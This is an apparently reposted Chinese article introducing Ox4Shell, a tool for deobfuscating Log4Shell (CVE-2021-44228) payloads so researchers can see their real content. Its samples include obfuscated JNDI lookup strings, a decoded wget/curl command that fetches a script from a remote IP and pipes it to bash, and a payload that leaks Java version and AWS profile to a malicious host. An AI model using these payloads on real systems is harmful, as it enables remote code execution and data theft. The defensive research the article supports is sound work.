如何使用Ox4Shell反混淆Log4Shell的Payload
关于Ox4Shell
Ox4Shell是一款针对Log4Shell Payload代码反混淆工具,自从Log4Shell漏洞(CVE-2021-44228)被发现之后,很多工具都开始尝试对Log4Shell Payload进行混淆处理,以便更好地利用这个漏洞去实施攻击,这也给广大研究人员带来了很大的麻烦。
该工具旨在帮助广大研究人员查看经过混淆处理的Log4Shell Payload的真实内容。比如说,下面这个Payload已经经过了混淆处理:
${zrch-Q(NGyN-yLkV:-}${j${sm:Eq9QDZ8-xEv54:-ndi}${GLX-MZK13n78y:GW2pQ:-:l}${ckX:2@BH[)]Tmw:a(:-da}${W(d:KSR)ky3:bv78UX2R-5MV:-p:/}/1.${)U:W9y=N:-}${i9yX1[:Z[Ve2=IkT=Z-96:-1.1}${[W*W:w@q.tjyo@-vL7thi26dIeB-HxjP:-.1}:38${Mh:n341x.Xl2L-8rHEeTW*=-lTNkvo:-90/}${sx3-9GTRv:-Cal}c$c${HR-ewA.mQ:g6@jJ:-z}3z${uY)u:7S2)P4ihH:M_S8fanL@AeX-PrW:-]}${S5D4[:qXhUBruo-QMr$1Bd-.=BmV:-}${_wjS:BIY0s:-Y_}p${SBKv-d9$5:-}Wx${Im:ajtV:-}AoL${=6wx-_HRvJK:-P}W${cR.1-lt3$R6R]x7-LomGH90)gAZ:NmYJx:-}h}
(向右滑动、查看更多)
运行Ox4Shell之后,上述Payload便会被转换成直观易读的形式:
${jndi:ldap://1.1.1.1:3890/Calc$cz3z]Y_pWxAoLPWh}
除此之外,该工具还可以识别和解码Base64命令,比如说下列经过混淆处理的Payload:
${jndi:ldap://1.1.1.1:1389/Basic/Command/Base64/KHdnZXQgLU8gLSBodHRwOi8vMTg1LjI1MC4xNDguMTU3OjgwMDUvYWNjfHxjdXJsIC1vIC0gaHR0cDovLzE4NS4yNTAuMTQ4LjE1Nzo4MDA1L2FjYyl8L2Jpbi9iYXNoIA==}
运行Ox4Shell之后,该工具便能够揭示攻击者的真正意图:
${jndi:ldap://1.1.1.1:1389/Basic/(wget -O - http://185.250.148.157:8005/acc||curl -o - http://185.250.148.157:8005/acc)|/bin/bash
工具下载
广大研究人员可以使用下列命令将该项目源码克隆至本地:
git clone https://github.com/ox-eye/Ox4Shell.git
工具使用
~/Ox4Shell » python ox4shell.py --help
usage: ox4shell [-h] [-d] [-m MOCK] [--max-depth MAX_DEPTH] [--decode-base64] (-p PAYLOAD | -f FILE)
____ _ _ _____ _ _ _
/ __ \ | || | / ____| | | | |
| | | |_ _| || || (___ | |__ ___| | |
| | | \ \/ /__ _\___ \| '_ \ / _ \ | |
| |__| |> < | | ____) | | | | __/ | |
\____//_/\_\ |_||_____/|_| |_|\___|_|_|
Ox4Shell - Deobfuscate Log4Shell payloads with ease.
Created by https://oxeye.io
General:
-h, --help 显示工具帮助信息和退出
-d, --debug 启用调试模式 (默认: False)
-m MOCK, --mock MOCK 模拟数据JSON文件路径,用于替换Payload重的特定信息 (默认: mock.json)
--max-depth MAX_DEPTH
针对Payload执行的最大迭代次数 (默认: 150)
--decode-base64 包含待解码Base64数据的PayloadP (默认: False)
Targets:
Choose which target payloads to run Ox4Shell on
-p PAYLOAD, --payload PAYLOAD
待反混淆的单个 (默认: None)
-f FILE, --file FILE 包含待反混淆的Payload文件路径 (默认: None)
(向右滑动、查看更多)
模拟数据
Log4j代码库有几个独特的查询函数,允许用户查找环境变量和Java进程的运行时信息等。这种功能将允许攻击者能够探测特定信息,而这些信息可以唯一识别目标设备。
Ox4Shell使用了mock.json文件来向特定查询函数中插入常见值,比如说,如果Payload包含一个${env:HOME}值,我们就可以使用自定义模拟数据来替换它了。
默认提供的模拟数据如下:
{
"hostname": "ip-127.0.0.1",
"env": {
"aws_profile": "staging",
"user": "ubuntu",
"pwd": "/opt/",
"path": "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/lib/jvm/java-1.8-openjdk/jre/bin:/usr/lib/jvm/java-1.8-openjdk/bin"
},
"sys": {
"java.version": "16.0.2",
"user.name": "ubuntu"
},
"java": {
"version": "Java version 16.0.2",
"runtime": "OpenJDK Runtime Environment (build 1.8.0_181-b13) from Oracle Corporation",
"vm": "OpenJDK 64-Bit Server VM (build 25.181-b13, mixed mode)",
"os": "Linux 5.10.47-linuxkit unknown, architecture: amd64-64",
"locale": "default locale: en_US, platform encoding: UTF-8",
"hw": "processors: 1, architecture: amd64-64"
}
}
(向右滑动、查看更多)
比如说,我们可以使用Ox4Shell的模拟数据能力来对下列Payload进行反混淆处理:
~/Ox4Shell >> python ox4shell.py -p "\${jndi:ldap://\${sys:java.version}.\${env:AWS_PROFILE}.malicious.server/a}"
${jndi:ldap://16.0.2.staging.malicious.server/a}(向右滑动、查看更多)
使用建议
我们建议使用提供的文件(-f)来运行Ox4Shell,而不要使用(-p)直接提供Payload,因为特定的Shell环境可能会转义掉重要字符。
许可证协议
本项目的开发与发布遵循MIT开源许可证协议。
项目地址
Ox4Shell:https://github.com/ox-eye/Ox4Shell
参考资料:
https://twitter.com/Daniel_Abeles https://twitter.com/ron_vider
精彩推荐
相关文章
- DCache 分布式存储系统|List 缓存模块的创建与使用[通俗易懂]
- 详解如何使用JSONObject生成和解析JSON
- 【Android 逆向】代码调试器开发 ( 使用 NDK 中的 ndk-build + Android.mk 编译 Android 平台的代码调试器可执行应用 )
- 如何使用IBCS虚拟专线和haproxy搭建高性能、高可用、高安全的本地数据中心?
- Win11如何下载安装Photoshop永久使用,win11系统安装PS教程+干货分享
- Oracle 视图 DBA_TRIGGERS_AE 官方解释,作用,如何使用详细说明
- Oracle 视图 USER_RECYCLEBIN 官方解释,作用,如何使用详细说明
- Oracle 视图 V$HANG_INFO 官方解释,作用,如何使用详细说明
- Oracle 视图 V$LATCH_CHILDREN 官方解释,作用,如何使用详细说明
- cmake安装与使用详解编程语言
- 轻松学习Oracle 10使用技巧(oracle10使用教程)
- 特斯拉日常使用可以0费用,你信吗?
- 如何查看 Linux 系统的磁盘空间使用情况?(查看linux空间)
- CI框架如何使用Redis提升程序效率(ci使用redis)
- Linux下如何创建进程并使用线程?(linux进程创建线程)
- 管理如何有效地使用Linux系统管理网络带宽(linux网络带宽)
- Java程序员如何使用Redis存储数据(javaredis使用)
- 如何使用SVN在Linux系统中进行文件上传(svn上传linux)
- 如何使用MySQL查询前一天的日期?(mysql获取前一天日期)
- 如何使用mysql实现txt文件的批量导入?——详解mysql批量导入txt方法(mysql批量导入txt)
- 运用MSSQL服务器来解决数据库问题(如何使用mssql)
- 如何使用MySQL导入文本数据(mysql导入文本)
- Linux下如何有效利用链表(linux使用链表)
- 从无到有如何使用Oracle关联关系语句(oracle关联关系语句)
- 使用Redis实现数据导入的有效方法(数据如何导入redis)
- 优化博客网站灵活运用Redis(博客网站使用redis)
- php购物网站支付paypal使用方法
- Oracle簇的使用详解